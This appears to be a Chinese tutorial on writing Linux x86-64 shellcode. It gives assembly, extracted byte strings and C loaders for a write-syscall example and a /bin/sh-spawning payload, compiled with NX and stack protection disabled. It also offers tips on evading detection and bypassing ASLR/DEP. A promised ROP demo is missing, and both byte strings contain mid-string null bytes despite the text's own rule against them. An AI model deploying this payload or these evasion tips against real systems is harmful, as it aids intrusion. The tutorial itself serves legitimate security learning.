一、shellcode简介
1.1 简介
在计算机安全领域,Shellcode 是指一种特殊的机器代码,它可以被注入到运行中的进程中,从而能够实现对目标程序的控制。Shellcode 能够利用程序中的漏洞或者弱点,来实现利用程序执行任意指令的目的。
在 Linux 系统中,Shellcode 通常以二进制形式存在,它是一段机器代码,可以被直接注入到进程的内存中,从而实现对进程的控制。Shellcode 可以用于多种攻击,包括缓冲区溢出攻击、格式化字符串攻击和代码注入攻击等等。
(1)缓冲区溢出攻击:攻击者通过向一个程序输入超过其缓冲区大小的数据,从而覆盖了程序的其他部分,包括程序计数器和栈指针。攻击者可以将 shellcode 注入到这些位置,并利用它来控制程序的执行流程。
缓冲区溢出攻击有几种类型,包括基于栈的缓冲区溢出攻击和基于堆的缓冲区溢出攻击。在基于栈的缓冲区溢出攻击中,攻击者会溢出栈上的缓冲区,从而可以覆盖函数的返回地址并执行恶意代码。在基于堆的缓冲区溢出攻击中,攻击者会溢出堆上的缓冲区,从而可以破坏堆数据结构并执行恶意代码。
(2)格式化字符串攻击:攻击者可以利用格式化字符串漏洞来读取和写入进程内存中的数据。攻击者可以使用这种方法来注入 shellcode 并控制进程的执行流程。
(3)代码注入攻击:攻击者可以通过将 shellcode 注入到受攻击进程的内存中,从而控制进程并执行攻击者的意图。这种攻击通常利用进程中的代码注入漏洞或操作系统的漏洞来进行。
Shellcode 的编写需要使用汇编语言,通常使用 NASM 或者 GAS(GNU Assembler)等汇编器进行编译。然后编译成二进制代码。攻击者可以使用各种工具来注入 shellcode,包括通过网络传输、通过文件传输、通过内存注入和通过其他漏洞利用等方式。
Shellcode 是一种非常强大的工具,可以用于实现各种攻击类型,例如远程代码执行、拒绝服务攻击、提权攻击等。在实际应用中,Shellcode 可以用于测试和评估系统的安全性,以及进行渗透测试等安全研究。
在编写 Shellcode 时,需要特别注意安全性问题,以避免被检测到或者被利用进行攻击。以下是一些编写 Shellcode 时需要注意的安全性问题:
(1)避免使用空字符:空字符(\x00)在 C 语言中通常用于表示字符串的结尾,但是在 Shellcode 中,空字符会导致 Shellcode 被截断。因此,在编写 Shellcode 时,需要避免使用空字符。
(2)使用系统调用:在 Linux 系统中,Shellcode 通常需要使用系统调用来实现对系统的操作。在编写 Shellcode 时,需要使用正确的系统调用,并且需要将系统调用参数存储到正确的寄存器中。
(3)考虑系统安全机制:在现代操作系统中,存在多种安全机制,例如 ASLR、DEP 等,这些机制会影响 Shellcode 的执行。在编写 Shellcode 时,需要考虑这些安全机制,并且尽可能地使用技术来绕过这些机制。
(4)隐藏 Shellcode:在注入 Shellcode 的过程中,攻击者通常会使用各种技术来隐藏 Shellcode,以避免被检测到。例如,可以使用加密算法来加密 Shellcode,然后在注入前解密;或者使用 stager 技术来将 Shellcode 分为多个部分,分别注入到不同的内存区域中,以避免被检测到。
1.2 栈溢出攻击
栈溢出攻击是一种常见的攻击技术,其中攻击者通过向程序的栈中写入超出其容量的数据,覆盖返回地址或其他关键数据。当程序执行返回指令时,控制流会被劫持到攻击者注入的恶意代码,例如Shellcode。
Shellcode是一段精心设计的机器代码,通常用于利用栈溢出漏洞执行特定的操作,如获取系统访问权限、执行远程命令等。攻击者通过成功利用栈溢出漏洞,将Shellcode注入到可执行区域(例如栈)上,并覆盖返回地址为Shellcode的起始地址。当程序执行返回指令时,控制流将转移到Shellcode,并执行其中的恶意指令。
NX/DEP机制可以有效防止栈溢出攻击中的Shellcode执行。通过将栈和其他数据区域标记为不可执行,即使攻击者成功注入恶意代码到栈上,由于栈被标记为不可执行,Shellcode将无法在栈上执行。这样可以有效地阻止栈溢出攻击中的代码执行,并增加系统的安全性。
NX(No eXecute)/DEP (Data Execution Prevention) 是一种计算机系统中的安全机制,用于防止执行位于内存中的数据区域的代码。它旨在防止恶意软件或攻击者利用内存中的数据作为代码来执行恶意操作。
NX/DEP 机制通过将内存分为可执行和不可执行两个区域来实现。可执行区域用于存储程序的指令和可执行代码,而不可执行区域用于存储数据。当程序尝试从不可执行区域执行代码时,操作系统会触发异常并阻止该操作。
NX/DEP机制通过限定内存页不能同时具备写权限和执行权限,来阻止攻击者所上载的代码的执行。
现代的攻击技术可能会使用其他方式绕过NX/DEP机制,例如使用ROP(返回导向编程)技术来构建代码执行链。
由于ROP技术利用现有的可执行代码片段,而不是在内存中注入新的可执行代码,因此它可以绕过NX/DEP机制的限制。攻击者利用程序本身的代码片段来构建恶意操作,而这些片段位于可执行区域,因此不受NX/DEP机制的影响。
例如,这里有一个ROP的简单演示。函数Foo()调用函数Bar(),将返回地址推送到堆栈上。Function Bar()包含一个漏洞,使攻击者能够控制堆栈并覆盖返回地址,从而将恶意shellcode的地址放在那里。一旦函数返回,就会调用恶意返回地址,并执行shellcode:
二、代码示例1
2.1 汇编语言
.global _start
.section .data
hello_world:
.ascii "hello world, ni hao ya\n"
len = . - hello_world
.section .text
_start:
xorq %rax, %rax
addq $1, %rax
movq %rax, %rdi
movq $0x0a6179206f6168, %rbx
pushq %rbx
xorq %rbx, %rbx
movq $0x20696e202c646c72, %rbx
pushq %rbx
xorq %rbx, %rbx
movq $0x6f77206f6c6c6568, %rbx
pushq %rbx
movq %rsp, %rsi
xorq %rdx, %rdx
addq $len, %rdx
#movq $1, %rax //这里movq $1, %rax 改为 mov $1, %al为了避免0x00字符串的出现
mov $1, %al
syscall
xorq %rax, %rax
addq $60, %rax
xorq %rdi, %rdi
syscall
字符串的ASCII 码:
hello world, ni hao ya\n
>>> string = "hello world, ni hao ya\n"
>>> string[::-1].encode('hex')
'0a6179206f616820696e202c646c726f77206f6c6c6568'
# as -o hello.o hello.s
# ld -o hello hello.o
# ./hello
hello world, ni hao ya
[root@localhost hello]# objdump -d hello
hello: file format elf64-x86-64
Disassembly of section .text:
00000000004000b0 <_start>:
4000b0: 48 31 c0 xor %rax,%rax
4000b3: 48 83 c0 01 add $0x1,%rax
4000b7: 48 89 c7 mov %rax,%rdi
4000ba: 48 bb 68 61 6f 20 79 movabs $0xa6179206f6168,%rbx
4000c1: 61 0a 00 //0x00在字符串末尾没有影响
4000c4: 53 push %rbx
4000c5: 48 31 db xor %rbx,%rbx
4000c8: 48 bb 72 6c 64 2c 20 movabs $0x20696e202c646c72,%rbx
4000cf: 6e 69 20
4000d2: 53 push %rbx
4000d3: 48 31 db xor %rbx,%rbx
4000d6: 48 bb 68 65 6c 6c 6f movabs $0x6f77206f6c6c6568,%rbx
4000dd: 20 77 6f
4000e0: 53 push %rbx
4000e1: 48 89 e6 mov %rsp,%rsi
4000e4: 48 31 d2 xor %rdx,%rdx
4000e7: 48 83 c2 17 add $0x17,%rdx
4000eb: b0 01 mov $0x1,%al
4000ed: 0f 05 syscall
4000ef: 48 31 c0 xor %rax,%rax
4000f2: 48 83 c0 3c add $0x3c,%rax
4000f6: 48 31 ff xor %rdi,%rdi
4000f9: 0f 05 syscall
提取机器码:
# objdump -d ./hello|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x48\x31\xc0\x48\x83\xc0\x01\x48\x89\xc7\x48\xbb\x68\x61\x6f\x20\x79\x61\x0a\x00\x53\x48\x31\xdb\x48\xbb\x72\x6c\x64\x2c\x20\x6e\x69\x20\x53\x48\x31\xdb\x48\xbb\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x53\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x17\xb0\x01\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05"
要想让 c 语言中使用 shellcode 机器码要保证一个字符串中间里面不能有 0x00 字节,不然直接在0x00 字节处就截断了。
0x00在字符串末尾没有影响。
2.2 c 语言
unsigned char shellcode[] = \
"\x48\x31\xc0\x48\x83\xc0\x01\x48\x89\xc7\x48\xbb\x68\x61\x6f\x20\x79\x61\x0a\x00\x53\x48\x31\xdb\x48\xbb"
"\x72\x6c\x64\x2c\x20\x6e\x69\x20\x53\x48\x31\xdb\x48\xbb\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x53\x48\x89\xe6"
"\x48\x31\xd2\x48\x83\xc2\x17\xb0\x01\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05";
#include <stdio.h>
#include <string.h>
int main() {
// 定义函数指针,将机器码转换为函数
void (*func)() = (void (*)())shellcode;
// 调用函数指针,执行机器码
func();
return 0;
}
# gcc -fno-stack-protector -z execstack hello.c
# ./a.out
hello world, ni hao ya
-fno-stack-protector:这个选项告诉编译器不要使用栈保护机制,即不要在栈上插入用于检测缓冲区溢出的保护代码。这将使程序更容易受到缓冲区溢出攻击。
-z execstack:这个选项关闭NX,告诉操作系统允许程序在栈上执行代码。这使得攻击者更容易执行栈上的代码,因为他们可以通过缓冲区溢出漏洞注入恶意代码并在栈上执行它。
NX(No-Execute,不执行)位 内存保护特性的实现方式是通过在物理内存页面属性中添加一个可执行属性和一个禁止执行属性来实现的。当内存页面被标记为禁止执行时,任何尝试在该页面上执行代码的尝试都将产生一个异常,并导致程序崩溃。这种方式可以防止攻击者利用缓冲区溢出等漏洞在内存中执行恶意代码。
NX属性将读写和执行模式分开,通常栈上的数据被标记位可读可写,但是不可执行。
gcc编译器默认开启NX选项,通过-z execstack可以关闭NX。
三、代码示例2
3.1 汇编代码
.section .text
.globl _start
_start:
# 调用 execve() 函数执行 /bin/sh 命令
xor %rax, %rax
movb $59, %al # 系统调用号为 59 表示 execve()
xor %rdi, %rdi # 参数 1,文件路径
movq $0x68732f6e69622f, %rdi # /bin/sh 的 ASCII 码
pushq %rdi # 入栈
movq %rsp, %rdi # 参数 1,命令行参数 -- 将栈顶地址rsp作为参数传递给 execve
xor %rsi, %rsi # 参数 2,环境变量
xor %rdx, %rdx # 参数 3,未使用
syscall # 调用系统调用
# 调用 exit() 函数退出程序
#movq $60, %rax # 系统调用号为 60 表示 exit()
mov $60, %al # 系统调用号为 60 表示 exit()
xor %rdi, %rdi # 返回值为 0
syscall # 调用系统调用
>>> string = "/bin/sh"
>>> string[::-1].encode('hex')
'68732f6e69622f'
# as -o execve.o execve.s
# ld -o execve execve.o
# ./execve
# ps
PID TTY TIME CMD
7185 pts/4 00:00:00 bash
16061 pts/4 00:00:00 sh
16106 pts/4 00:00:00 ps
# objdump -d execve
execve: file format elf64-x86-64
Disassembly of section .text:
0000000000400078 <_start>:
400078: 48 31 c0 xor %rax,%rax
40007b: b0 3b mov $0x3b,%al
40007d: 48 31 ff xor %rdi,%rdi
400080: 48 bf 2f 62 69 6e 2f movabs $0x68732f6e69622f,%rdi
400087: 73 68 00
40008a: 57 push %rdi
40008b: 48 89 e7 mov %rsp,%rdi
40008e: 48 31 f6 xor %rsi,%rsi
400091: 48 31 d2 xor %rdx,%rdx
400094: 0f 05 syscall
400096: b0 3c mov $0x3c,%al
400098: 48 31 ff xor %rdi,%rdi
40009b: 0f 05 syscall
提取机器码:
# objdump -d ./execve|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x48\x31\xc0\xb0\x3b\x48\x31\xff\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05\xb0\x3c\x48\x31\xff\x0f\x05"
3.2 c 语言
unsigned char shellcode[] = \
"\x48\x31\xc0\xb0\x3b\x48\x31\xff\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x00"
"\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05\xb0\x3c\x48\x31\xff\x0f\x05";
#include <stdio.h>
#include <string.h>
int main() {
// 定义函数指针,将机器码转换为函数
void (*func)() = (void (*)())shellcode;
// 调用函数指针,执行机器码
func();
return 0;
}
# ps
PID TTY TIME CMD
7185 pts/4 00:00:00 bash
16769 pts/4 00:00:00 ps
# gcc -fno-stack-protector -z execstack execve.c
# ./a.out
# ps
PID TTY TIME CMD
7185 pts/4 00:00:00 bash
16793 pts/4 00:00:00 sh
16832 pts/4 00:00:00 ps
# exit
exit
# ps
PID TTY TIME CMD
7185 pts/4 00:00:00 bash
16851 pts/4 00:00:00 ps
参考资料
https://cloud.tencent.com/developer/article/1930058
https://xz.aliyun.com/t/2052
https://www.cnblogs.com/bonelee/p/16454918.html